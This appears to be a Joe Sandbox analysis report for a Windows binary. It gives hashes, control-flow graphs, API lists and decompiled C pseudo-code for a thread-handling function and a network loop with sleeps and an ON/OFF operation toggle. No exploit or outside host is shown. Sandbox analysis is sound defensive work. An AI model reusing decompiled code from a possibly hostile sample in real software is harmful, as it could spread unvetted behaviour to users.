    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CloseCreateHandleTimerWaitable$Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::_ThreadUnothrow_t@std@@@__ehfuncinfo$??2@
    • String ID:
    • API String ID: 3628201841-0
    • Opcode ID: d9d22f95b3601e1b99e344368729124a1e129f3c4ae921f09e2bdbb7a99bc1b8
    • Instruction ID: 54da422074c1bdabf986f427d44ad4e2f88b2dce7bed97f7354d9c044e12eaac
    • Opcode Fuzzy Hash: d9d22f95b3601e1b99e344368729124a1e129f3c4ae921f09e2bdbb7a99bc1b8
    • Instruction Fuzzy Hash: 8231A878A00108EFDB14DF95C991FAEB7B5FF88300F648198B9059B381DA31AE41DB90
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 854 a429c0-a429f7 WaitForMultipleObjects 855 a42ab6-a42abd 854->855 856 a429fd-a42a0d 854->856 856->855 857 a42a13-a42a29 call a42970 856->857 859 a42a2e-a42aaf CloseHandle * 2 857->859 859->855
    C-Code - Quality: 100%
    			E00A429C0(intOrPtr __ecx, long _a4) {
    				intOrPtr _v8;
    				signed int _v12;
    				long _v16;
    				int _v20;
    				int _v24;
    				int _v28;
    				signed int _t80;
    				signed int _t82;
    				intOrPtr _t94;
    				signed int _t95;
    				intOrPtr _t96;
    				intOrPtr _t110;
    
    				_v8 = __ecx;
    				_v20 = 0;
    				_v16 = WaitForMultipleObjects( *(_v8 + 0x1a8) << 1, _v8 + 0x18, 0, _a4);
    				if(_v16 >= 0 && _v16 <=  *(_v8 + 0x1a8) +  *(_v8 + 0x1a8) - 1) {
    					_v12 = _v16 >> 1;
    					E00A42970(_v8,  *(_v8 + 0x18 + _v12 * 8)); // executed
    					CloseHandle( *(_v8 + 0x18 + _v12 * 8));
    					CloseHandle( *(_v8 + 0x1c + _v12 * 8));
    					_t80 =  *(_v8 + 0x1a8);
    					_t94 = _v8;
    					_t95 = _v12;
    					_t110 = _v8;
    					 *((intOrPtr*)(_t110 + 0x18 + _t95 * 8)) =  *((intOrPtr*)(_t94 + 0x10 + _t80 * 8));
    					 *((intOrPtr*)(_t110 + 0x1c + _t95 * 8)) =  *((intOrPtr*)(_t94 + 0x14 + _t80 * 8));
    					_v28 = 0;
    					_v24 = 0;
    					_t82 =  *(_v8 + 0x1a8);
    					_t96 = _v8;
    					 *(_t96 + 0x10 + _t82 * 8) = _v28;
    					 *(_t96 + 0x14 + _t82 * 8) = _v24;
    					 *(_v8 + 0x1a8) =  *(_v8 + 0x1a8) - 1;
    					_v20 = 1;
    				}
    				return _v20;
    			}















    0x00a429c7
    0x00a429ca
    0x00a429f0
    0x00a429f7
    0x00a42a18
    0x00a42a29
    0x00a42a39
    0x00a42a4a
    0x00a42a53
    0x00a42a59
    0x00a42a64
    0x00a42a67
    0x00a42a6a
    0x00a42a6e
    0x00a42a72
    0x00a42a79
    0x00a42a83
    0x00a42a89
    0x00a42a8f
    0x00a42a96
    0x00a42aa9
    0x00a42aaf
    0x00a42aaf
    0x00a42abd

    APIs
    • WaitForMultipleObjects.KERNEL32(?,000000E7,00000000,?), ref: 00A429EA
      • Part of subcall function 00A42970: GetExitCodeThread.KERNELBASE(?,00000000,?,?), ref: 00A42998
      • Part of subcall function 00A42970: TerminateThread.KERNEL32(00000001,00000001), ref: 00A429B1
    • CloseHandle.KERNEL32(?,?), ref: 00A42A39
    • CloseHandle.KERNEL32(?), ref: 00A42A4A
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CloseHandleThread$CodeExitMultipleObjectsTerminateWait
    • String ID:
    • API String ID: 3878637038-0
    • Opcode ID: 2c6bab6091bd2b9f3b9dea75e0d583541dbf9b2aae93d14f10352ec5ee9b9b4a
    • Instruction ID: e74eab408dd15b8dc988541da730c0122c821089e1d9b0ad83d5266415c8d7bf
    • Opcode Fuzzy Hash: 2c6bab6091bd2b9f3b9dea75e0d583541dbf9b2aae93d14f10352ec5ee9b9b4a
    • Instruction Fuzzy Hash: 9531B978A01209EFCB14DF88C594AAEB7F5FF88340F2042A8E90567341C731AE51DF90
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 863 a46b8d 864 a46ba3-a46bd4 call a46140 call a45f10 863->864 869 a46bd7-a46be4 864->869 870 a46c16-a46c20 869->870 871 a46be6-a46bed 869->871 874 a46c86-a46c8d 870->874 875 a46c22-a46c42 call a46310 870->875 872 a46c11 871->872 873 a46bef-a46bfb 871->873 877 a46b15-a46b30 872->877 873->872 876 a46bfd-a46c0b Sleep 873->876 879 a46c93-a46caf call a42540 874->879 880 a46c8e call a46480 874->880 886 a46c44 875->886 887 a46c4e-a46c7a call a436c0 call a43830 875->887 876->872 881 a46b36-a46b4c 877->881 882 a473ae-a473b9 WSACleanup 877->882 892 a46cb1-a46cba 879->892 893 a46cbc 879->893 880->879 881->869 885 a46b52-a46b72 call a45650 881->885 898 a46b74-a46b88 885->898 899 a46b8f-a46b9c 885->899 890 a4737b-a473a2 call a46220 886->890 887->890 904 a473a4 890->904 905 a473a9 890->905 894 a46cc3-a46cc9 892->894 893->894 901 a46cd4-a46ce0 894->901 898->882 899->864 906 a46ce6-a46cfb 901->906 907 a472b8-a472c4 901->907 904->877 905->877 908 a46cfd 906->908 909 a46cff-a46d0e 906->909 910 a47370-a47375 Sleep 907->910 911 a472ca-a472d6 907->911 908->901 914 a46d14-a46d1b 909->914 915 a47095-a4709c 909->915 910->890 911->910 913 a472dc-a472ef 911->913 917 a472f1-a472f8 913->917 918 a472fa 913->918 919 a46d26-a46d32 914->919 916 a470a7-a470b3 915->916 920 a471c4-a471c8 916->920 921 a470b9-a470ce 916->921 922 a47301-a47347 call a436c0 call a439c0 call a436c0 call a43830 917->922 918->922 923 a46d38-a46d4d 919->923 924 a46e7a-a46e86 919->924 929 a471fa-a471fe 920->929 930 a471ca-a471f5 call a457d0 call a42540 920->930 927 a470d0 921->927 928 a470d2-a4713e call a42540 call a46860 921->928 994 a47352 922->994 995 a47349-a47350 922->995 932 a46d51-a46d66 923->932 933 a46d4f 923->933 925 a47090 924->925 926 a46e8c-a46eaa Sleep 924->926 925->929 936 a46eb5 926->936 937 a46eac-a46eb3 926->937 927->916 975 a471b4-a471b9 Sleep 928->975 976 a47140-a4714c 928->976 942 a47200-a4720a 929->942 943 a4725e-a47262 929->943 930->929 934 a46db8-a46dc5 932->934 935 a46d68-a46db5 call a465e0 932->935 933->919 946 a46dc7 934->946 947 a46dcc-a46e29 call a465e0 934->947 935->934 948 a46ebc-a46f02 call a436c0 call a439c0 call a436c0 call a43830 936->948 937->948 942->943 954 a4720c-a47218 942->954 949 a47264-a4726e 943->949 950 a472b1 943->950 946->924 971 a46e2d-a46e33 947->971 972 a46e2b 947->972 1011 a46f04-a46f0b 948->1011 1012 a46f0d 948->1012 949->950 959 a47270-a472ab call a436c0 call a439c0 call a436c0 call a43830 Sleep 949->959 950->907 954->943 955 a4721a-a4725c call a436c0 call a439c0 call a436c0 call a43830 Sleep 954->955 955->950 959->950 979 a46e75 971->979 980 a46e35-a46e72 call a436c0 call a439c0 call a436c0 call a43830 971->980 972->924 975->920 983 a4717e-a471b1 call a42190 976->983 984 a4714e-a47179 call a457d0 call a42540 976->984 979->924 980->979 983->975 984->983 1003 a47359-a4736d call a436c0 call a43830 994->1003 995->1003 1003->910 1018 a46f14-a46f32 call a436c0 call a43830 1011->1018 1012->1018 1027 a46f3d-a46f49 1018->1027 1027->925 1028 a46f4f-a46f64 1027->1028 1029 a46f66 1028->1029 1030 a46f68-a46f7d 1028->1030 1029->1027 1032 a46fcf-a46fdc 1030->1032 1033 a46f7f-a46fcc call a465e0 1030->1033 1034 a46fe3-a47040 call a465e0 1032->1034 1035 a46fde 1032->1035 1033->1032 1040 a47044-a4704a 1034->1040 1041 a47042 1034->1041 1035->925 1042 a4704c-a47088 call a436c0 call a439c0 call a436c0 call a43830 1040->1042 1043 a4708b 1040->1043 1041->925 1042->1043 1043->925
    C-Code - Quality: 92%
    			E00A46B8D() {
    				signed int _t351;
    				signed int _t352;
    				signed int _t355;
    				signed int _t370;
    				signed int _t379;
    				void* _t383;
    				signed int _t392;
    				signed int _t426;
    				intOrPtr _t430;
    				signed int _t433;
    				signed int _t444;
    				intOrPtr _t460;
    				signed int _t487;
    				signed int _t499;
    				intOrPtr _t510;
    				signed int _t523;
    				signed int _t525;
    				intOrPtr _t547;
    				signed int _t581;
    				void* _t588;
    				signed int _t589;
    				signed int _t590;
    				long _t591;
    				signed int _t592;
    				signed int _t610;
    				signed int _t611;
    				intOrPtr _t619;
    				signed int _t644;
    				signed int _t654;
    				signed int _t656;
    				void* _t661;
    				void* _t663;
    				void* _t665;
    				void* _t666;
    
    				goto L6;
    				do {
    					L7:
    					if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    						_t487 =  *(_t661 + 8);
    						__eflags =  *((intOrPtr*)(_t487 + 0x10038)) - 0xffffffff;
    						if( *((intOrPtr*)(_t487 + 0x10038)) != 0xffffffff) {
    							E00A46480( *(_t661 - 4),  *(_t661 + 8));
    							E00A42540(_t661 - 0xc8, 0x80);
    							 *(_t661 - 0x18) = 0;
    							__eflags =  *(_t661 - 0x20) - 0xffffffff;
    							if( *(_t661 - 0x20) <= 0xffffffff) {
    								 *(_t661 - 0x2c) = 0;
    							} else {
    								 *(_t661 - 0x2c) =  *(_t661 - 0x20) + 1;
    							}
    							 *(_t661 - 0x14) =  *(_t661 - 0x2c);
    							while(1) {
    								_t351 =  *(_t661 + 8);
    								__eflags =  *(_t661 - 0x14) -  *((intOrPtr*)(_t351 + 0x10d58));
    								if( *(_t661 - 0x14) >  *((intOrPtr*)(_t351 + 0x10d58))) {
    									break;
    								}
    								 *(_t661 - 0x20) =  *(_t661 - 0x14);
    								_t383 =  *(_t661 + 8) +  *(_t661 - 0x14);
    								_t503 =  *((char*)(_t383 + 0x10956));
    								__eflags =  *((char*)(_t383 + 0x10956));
    								if( *((char*)(_t383 + 0x10956)) != 0) {
    									_t588 =  *(_t661 + 8) +  *(_t661 - 0x14);
    									__eflags =  *((char*)(_t588 + 0x10556));
    									if( *((char*)(_t588 + 0x10556)) != 0) {
    										 *(_t661 - 0x1c) = 0;
    										while(1) {
    											_t589 =  *(_t661 + 8);
    											__eflags =  *(_t661 - 0x1c) -  *((intOrPtr*)(_t589 + 0x1014c));
    											if( *(_t661 - 0x1c) >=  *((intOrPtr*)(_t589 + 0x1014c))) {
    												break;
    											}
    											_t510 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4));
    											__eflags =  *((intOrPtr*)(_t510 + 0xc)) -  *(_t661 - 0x14);
    											if( *((intOrPtr*)(_t510 + 0xc)) ==  *(_t661 - 0x14)) {
    												E00A42540(_t661 - 0x1c8, 0x100);
    												 *(_t661 - 8) = E00A46860( *(_t661 - 4), _t661 - 0x1c8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)) + 9) & 0x000000ff);
    												__eflags =  *(_t661 - 8);
    												if( *(_t661 - 8) > 0) {
    													__eflags =  *(_t661 - 0x18) +  *(_t661 - 8) - 0x80;
    													if( *(_t661 - 0x18) +  *(_t661 - 8) >= 0x80) {
    														E00A457D0(_t661 - 0xc8,  *(_t661 - 4), _t661 - 0xc8,  *(_t661 - 0x18),  *(_t661 + 8));
    														 *(_t661 - 0x18) = 0;
    														E00A42540(_t661 - 0xc8, 0x80);
    													}
    													E00A42190(_t661 +  *(_t661 - 0x18) - 0xc8, _t661 - 0x1c8,  *(_t661 - 8));
    													_t663 = _t663 + 0xc;
    													 *(_t661 - 0x18) =  *(_t661 - 0x18) +  *(_t661 - 8);
    													_t523 =  *( *(_t661 + 8) + 8) + 1;
    													__eflags = _t523;
    													 *( *(_t661 + 8) + 8) = _t523;
    												}
    												Sleep(0x3e8);
    											}
    											_t503 =  *(_t661 - 0x1c) + 1;
    											__eflags = _t503;
    											 *(_t661 - 0x1c) = _t503;
    										}
    										__eflags =  *(_t661 - 0x18);
    										if( *(_t661 - 0x18) > 0) {
    											E00A457D0( *(_t661 - 0x18),  *(_t661 - 4), _t661 - 0xc8,  *(_t661 - 0x18),  *(_t661 + 8));
    											 *(_t661 - 0x18) = 0;
    											_t503 = _t661 - 0xc8;
    											E00A42540(_t661 - 0xc8, 0x80);
    										}
    										L74:
    										__eflags =  *(_t661 + 8);
    										if( *(_t661 + 8) == 0) {
    											L78:
    											__eflags =  *(_t661 + 8);
    											if( *(_t661 + 8) != 0) {
    												_t590 =  *(_t661 + 8);
    												__eflags =  *(_t590 + 0x10d60);
    												if( *(_t590 + 0x10d60) > 0) {
    													E00A439C0(E00A436C0(_t503));
    													_push(0x68b3);
    													E00A43830(__eflags, E00A436C0(_t386), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    													_t663 = _t663 + 0x10;
    													_t591 =  *( *(_t661 + 8) + 0x10d60) * 0x3e8;
    													__eflags = _t591;
    													Sleep(_t591);
    												}
    											}
    											L81:
    											break;
    										}
    										_t592 =  *(_t661 + 8);
    										__eflags =  *((intOrPtr*)(_t592 + 0x10d68)) - 0xffffffff;
    										if( *((intOrPtr*)(_t592 + 0x10d68)) == 0xffffffff) {
    											goto L78;
    										}
    										_t392 =  *(_t661 + 8);
    										_t503 =  *(_t661 - 0x20);
    										__eflags =  *(_t661 - 0x20) -  *((intOrPtr*)(_t392 + 0x10d68));
    										if( *(_t661 - 0x20) !=  *((intOrPtr*)(_t392 + 0x10d68))) {
    											goto L78;
    										}
    										E00A439C0(E00A436C0(_t503));
    										_push(0x68b2);
    										E00A43830(__eflags, E00A436C0(_t393), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    										_t663 = _t663 + 0x10;
    										Sleep( *( *(_t661 + 8) + 0x10d64) * 0x3e8);
    										goto L81;
    									}
    									 *(_t661 - 0xc) = 0;
    									while(1) {
    										_t610 =  *(_t661 + 8);
    										__eflags =  *(_t661 - 0xc) -  *((intOrPtr*)(_t610 + 0x1014c));
    										if( *(_t661 - 0xc) >=  *((intOrPtr*)(_t610 + 0x1014c))) {
    											break;
    										}
    										_t547 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4));
    										__eflags =  *((intOrPtr*)(_t547 + 0xc)) -  *(_t661 - 0x14);
    										if( *((intOrPtr*)(_t547 + 0xc)) ==  *(_t661 - 0x14)) {
    											_t460 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4));
    											__eflags =  *(_t460 + 8) & 0x000000ff;
    											if(( *(_t460 + 8) & 0x000000ff) != 0) {
    												 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))), 1,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 9) & 0x000000ff);
    											}
    											_t503 =  *(_t661 + 8);
    											__eflags = ( *(_t503 + 0x10018) & 0x000000ff) - 1;
    											if(( *(_t503 + 0x10018) & 0x000000ff) != 1) {
    												_t503 =  *(_t661 - 4);
    												 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 9) & 0x000000ff);
    												_t644 =  *(_t661 + 8);
    												__eflags = ( *(_t644 + 0x10018) & 0x000000ff) - 1;
    												if(( *(_t644 + 0x10018) & 0x000000ff) != 1) {
    													_t556 =  *(_t661 - 8) & 0x00000040;
    													__eflags =  *(_t661 - 8) & 0x00000040;
    													if(( *(_t661 - 8) & 0x00000040) == 0) {
    														E00A439C0(E00A436C0(_t556));
    														_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))));
    														_push(0x68b1);
    														__eflags =  *(_t661 + 8) + 0x1001d;
    														E00A43830(__eflags, E00A436C0( *(_t661 + 8) + 0x1001d), " %s M%X %d\n",  *(_t661 + 8) + 0x1001d);
    														_t663 = _t663 + 0x14;
    													}
    													L27:
    													_t503 =  *(_t661 - 0xc) + 1;
    													__eflags = _t503;
    													 *(_t661 - 0xc) = _t503;
    													continue;
    												}
    											} else {
    											}
    											break;
    										}
    										goto L27;
    									}
    									_t611 =  *(_t661 + 8);
    									__eflags =  *(_t611 + 0x10046) & 0x000000ff;
    									if(( *(_t611 + 0x10046) & 0x000000ff) == 0) {
    										L61:
    										goto L74;
    									}
    									Sleep(0x3e8);
    									 *(_t661 - 0x20) = 0xffffffff;
    									_t525 =  *(_t661 + 8);
    									__eflags =  *(_t525 + 0x10045) & 0x000000ff;
    									if(( *(_t525 + 0x10045) & 0x000000ff) != 0) {
    										 *(_t661 - 0x30) = 0;
    									} else {
    										 *(_t661 - 0x30) = 1;
    									}
    									 *((char*)( *(_t661 + 8) + 0x10045)) =  *(_t661 - 0x30);
    									E00A439C0(E00A436C0( *(_t661 - 0x30)));
    									_push(0x68b3);
    									E00A43830(__eflags, E00A436C0(_t422), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    									_t666 = _t663 + 0x10;
    									_t426 =  *(_t661 + 8);
    									_t528 =  *(_t426 + 0x10045) & 0x000000ff;
    									__eflags =  *(_t426 + 0x10045) & 0x000000ff;
    									if(( *(_t426 + 0x10045) & 0x000000ff) == 0) {
    										 *(_t661 - 0x34) = "OFF\n\n";
    									} else {
    										 *(_t661 - 0x34) = "ON\n\n";
    									}
    									E00A43830(__eflags, E00A436C0(_t528), "\nCurrent operation : %s",  *(_t661 - 0x34));
    									_t663 = _t666 + 0xc;
    									 *(_t661 - 0x10) = 0;
    									while(1) {
    										_t503 =  *(_t661 + 8);
    										__eflags =  *(_t661 - 0x10) -  *((intOrPtr*)(_t503 + 0x1014c));
    										if( *(_t661 - 0x10) >=  *((intOrPtr*)(_t503 + 0x1014c))) {
    											goto L61;
    										}
    										_t430 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4));
    										__eflags =  *((intOrPtr*)(_t430 + 0xc)) -  *(_t661 - 0x14);
    										if( *((intOrPtr*)(_t430 + 0xc)) ==  *(_t661 - 0x14)) {
    											_t619 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4));
    											__eflags =  *(_t619 + 8) & 0x000000ff;
    											if(( *(_t619 + 8) & 0x000000ff) != 0) {
    												 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))), 1,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 9) & 0x000000ff);
    											}
    											_t433 =  *(_t661 + 8);
    											_t503 =  *(_t433 + 0x10018) & 0x000000ff;
    											__eflags = ( *(_t433 + 0x10018) & 0x000000ff) - 1;
    											if(( *(_t433 + 0x10018) & 0x000000ff) != 1) {
    												 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 9) & 0x000000ff);
    												_t503 =  *(_t661 + 8);
    												__eflags = ( *(_t503 + 0x10018) & 0x000000ff) - 1;
    												if(( *(_t503 + 0x10018) & 0x000000ff) != 1) {
    													__eflags =  *(_t661 - 8) & 0x00000040;
    													if(( *(_t661 - 8) & 0x00000040) == 0) {
    														E00A439C0(E00A436C0(_t503));
    														_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))));
    														_push(0x68b1);
    														__eflags =  *(_t661 + 8) + 0x1001d;
    														E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4))), " %s M%X %d\n",  *(_t661 + 8) + 0x1001d);
    														_t663 = _t663 + 0x14;
    													}
    													L48:
    													_t444 =  *(_t661 - 0x10) + 1;
    													__eflags = _t444;
    													 *(_t661 - 0x10) = _t444;
    													continue;
    												}
    											} else {
    											}
    											goto L61;
    										}
    										goto L48;
    									}
    									goto L61;
    								}
    								_t654 =  *(_t661 - 0x14) + 1;
    								__eflags = _t654;
    								 *(_t661 - 0x14) = _t654;
    							}
    							_t352 =  *(_t661 + 8);
    							__eflags =  *(_t352 + 0x10046) & 0x000000ff;
    							if(( *(_t352 + 0x10046) & 0x000000ff) != 0) {
    								_t581 =  *(_t661 + 8);
    								__eflags =  *(_t661 - 0x20) -  *((intOrPtr*)(_t581 + 0x10d58));
    								if( *(_t661 - 0x20) >=  *((intOrPtr*)(_t581 + 0x10d58))) {
    									 *(_t661 - 0x20) = 0xffffffff;
    									_t499 =  *(_t661 + 8);
    									__eflags =  *(_t499 + 0x10045) & 0x000000ff;
    									if(( *(_t499 + 0x10045) & 0x000000ff) != 0) {
    										 *(_t661 - 0x38) = 0;
    									} else {
    										 *(_t661 - 0x38) = 1;
    									}
    									 *((char*)( *(_t661 + 8) + 0x10045)) =  *(_t661 - 0x38);
    									E00A439C0(E00A436C0( *(_t661 - 0x38)));
    									_push(0x68b3);
    									E00A43830(__eflags, E00A436C0(_t375), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    									_t665 = _t663 + 0x10;
    									_t379 =  *(_t661 + 8);
    									_t502 =  *(_t379 + 0x10045) & 0x000000ff;
    									__eflags =  *(_t379 + 0x10045) & 0x000000ff;
    									if(( *(_t379 + 0x10045) & 0x000000ff) == 0) {
    										 *(_t661 - 0x3c) = "OFF\n\n";
    									} else {
    										 *(_t661 - 0x3c) = "ON\n\n";
    									}
    									E00A43830(__eflags, E00A436C0(_t502), "\nCurrent operation : %s",  *(_t661 - 0x3c));
    									_t663 = _t665 + 0xc;
    								}
    							}
    							Sleep(0x3e8);
    							L92:
    							 *(_t661 - 8) = E00A46220( *(_t661 - 4),  *(_t661 + 8));
    							 *( *(_t661 + 8) + 0x10018) = 1;
    							_t355 =  *(_t661 + 8);
    							__eflags = ( *(_t355 + 0x10018) & 0x000000ff) - 1;
    							if(( *(_t355 + 0x10018) & 0x000000ff) != 1) {
    							}
    							goto L1;
    						}
    						 *((intOrPtr*)( *(_t661 + 8) + 0x10038)) = E00A46310( *(_t661 - 4),  *(_t661 + 8));
    						_t656 =  *(_t661 + 8);
    						__eflags =  *((intOrPtr*)(_t656 + 0x10038)) - 0xffffffff;
    						if( *((intOrPtr*)(_t656 + 0x10038)) != 0xffffffff) {
    							_push( *((intOrPtr*)( *(_t661 + 8) + 0x10038)));
    							_push(0x68b4);
    							E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *(_t661 + 8) + 0x10038))), " %s ST%X %d\n",  *(_t661 + 8) + 0x1001d);
    							_t663 = _t663 + 0x14;
    						}
    						goto L92;
    					} else {
    						if( *( *(_t661 + 8) + 0xc) != 0) {
    							asm("cdq");
    							if( *(_t661 - 0x28) %  *( *(_t661 + 8) + 0xc) == 0) {
    								Sleep( *( *(_t661 + 8) + 0x10040) * 0x3e8);
    							}
    						}
    						L1:
    						 *((intOrPtr*)(_t661 - 0x44)) =  *((intOrPtr*)(_t661 - 0x24));
    						 *((intOrPtr*)(_t661 - 0x48)) =  *((intOrPtr*)(_t661 - 0x40));
    						 *((intOrPtr*)(_t661 - 0x24)) =  *((intOrPtr*)(_t661 - 0x24)) + 1;
    						if( *((intOrPtr*)(_t661 - 0x44)) >=  *((intOrPtr*)(_t661 - 0x48))) {
    							L95:
    							__imp__#116(); // executed
    							return 0;
    						}
    					}
    					 *(_t661 - 0x28) =  *(_t661 - 0x28) + 1;
    				} while (( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1);
    				_t370 = E00A45650( *(_t661 + 8) + 0x1001d,  *((intOrPtr*)( *(_t661 + 8) + 0x10034))); // executed
    				 *(_t661 - 4) = _t370;
    				if( *(_t661 - 4) != 0xffffffff) {
    					 *( *(_t661 + 8) + 0x10018) = 0;
    					 *((char*)( *(_t661 + 8) + 0x1001b)) = 1;
    					L6:
    					 *( *(_t661 + 8) + 4) = 0;
    					 *( *(_t661 + 8) + 8) = 0;
    					 *(_t661 - 8) = E00A46140( *(_t661 - 4),  *(_t661 + 8));
    					 *(_t661 - 8) = E00A45F10( *(_t661 - 4),  *(_t661 + 8));
    					goto L7;
    				} else {
    					 *( *(_t661 + 8) + 0x10018) = 1;
    					 *((char*)( *(_t661 + 8) + 0x1001b)) = 0;
    					goto L95;
    				}
    			}





































    0x00a46b8d
    0x00a46bd7
    0x00a46bd7
    0x00a46be4
    0x00a46c16
    0x00a46c19
    0x00a46c20
    0x00a46c8e
    0x00a46c9f
    0x00a46ca4
    0x00a46cab
    0x00a46caf
    0x00a46cbc
    0x00a46cb1
    0x00a46cb7
    0x00a46cb7
    0x00a46cc6
    0x00a46cd4
    0x00a46cd4
    0x00a46cda
    0x00a46ce0
    0x00000000
    0x00000000
    0x00a46ce9
    0x00a46cef
    0x00a46cf2
    0x00a46cf9
    0x00a46cfb
    0x00a46d02
    0x00a46d0c
    0x00a46d0e
    0x00a47095
    0x00a470a7
    0x00a470a7
    0x00a470ad
    0x00a470b3
    0x00000000
    0x00000000
    0x00a470c5
    0x00a470cb
    0x00a470ce
    0x00a470de
    0x00a47137
    0x00a4713a
    0x00a4713e
    0x00a47146
    0x00a4714c
    0x00a47161
    0x00a47166
    0x00a47179
    0x00a47179
    0x00a47194
    0x00a47199
    0x00a471a2
    0x00a471ab
    0x00a471ab
    0x00a471b1
    0x00a471b1
    0x00a471b9
    0x00a471b9
    0x00a470a1
    0x00a470a1
    0x00a470a4
    0x00a470a4
    0x00a471c4
    0x00a471c8
    0x00a471dd
    0x00a471e2
    0x00a471ee
    0x00a471f5
    0x00a471f5
    0x00a471fa
    0x00a471fa
    0x00a471fe
    0x00a4725e
    0x00a4725e
    0x00a47262
    0x00a47264
    0x00a47267
    0x00a4726e
    0x00a47277
    0x00a4727c
    0x00a47295
    0x00a4729a
    0x00a472a0
    0x00a472a0
    0x00a472ab
    0x00a472ab
    0x00a4726e
    0x00a472b1
    0x00000000
    0x00a472b1
    0x00a47200
    0x00a47203
    0x00a4720a
    0x00000000
    0x00000000
    0x00a4720c
    0x00a4720f
    0x00a47212
    0x00a47218
    0x00000000
    0x00000000
    0x00a47221
    0x00a47226
    0x00a47240
    0x00a47245
    0x00a47256
    0x00000000
    0x00a47256
    0x00a46d14
    0x00a46d26
    0x00a46d26
    0x00a46d2c
    0x00a46d32
    0x00000000
    0x00000000
    0x00a46d44
    0x00a46d4a
    0x00a46d4d
    0x00a46d5d
    0x00a46d64
    0x00a46d66
    0x00a46db5
    0x00a46db5
    0x00a46db8
    0x00a46dc2
    0x00a46dc5
    0x00a46e10
    0x00a46e19
    0x00a46e1c
    0x00a46e26
    0x00a46e29
    0x00a46e30
    0x00a46e30
    0x00a46e33
    0x00a46e3c
    0x00a46e52
    0x00a46e53
    0x00a46e5b
    0x00a46e6d
    0x00a46e72
    0x00a46e72
    0x00a46d1d
    0x00a46d20
    0x00a46d20
    0x00a46d23
    0x00000000
    0x00a46d23
    0x00000000
    0x00a46dc7
    0x00000000
    0x00a46dc5
    0x00000000
    0x00a46d4f
    0x00a46e7a
    0x00a46e84
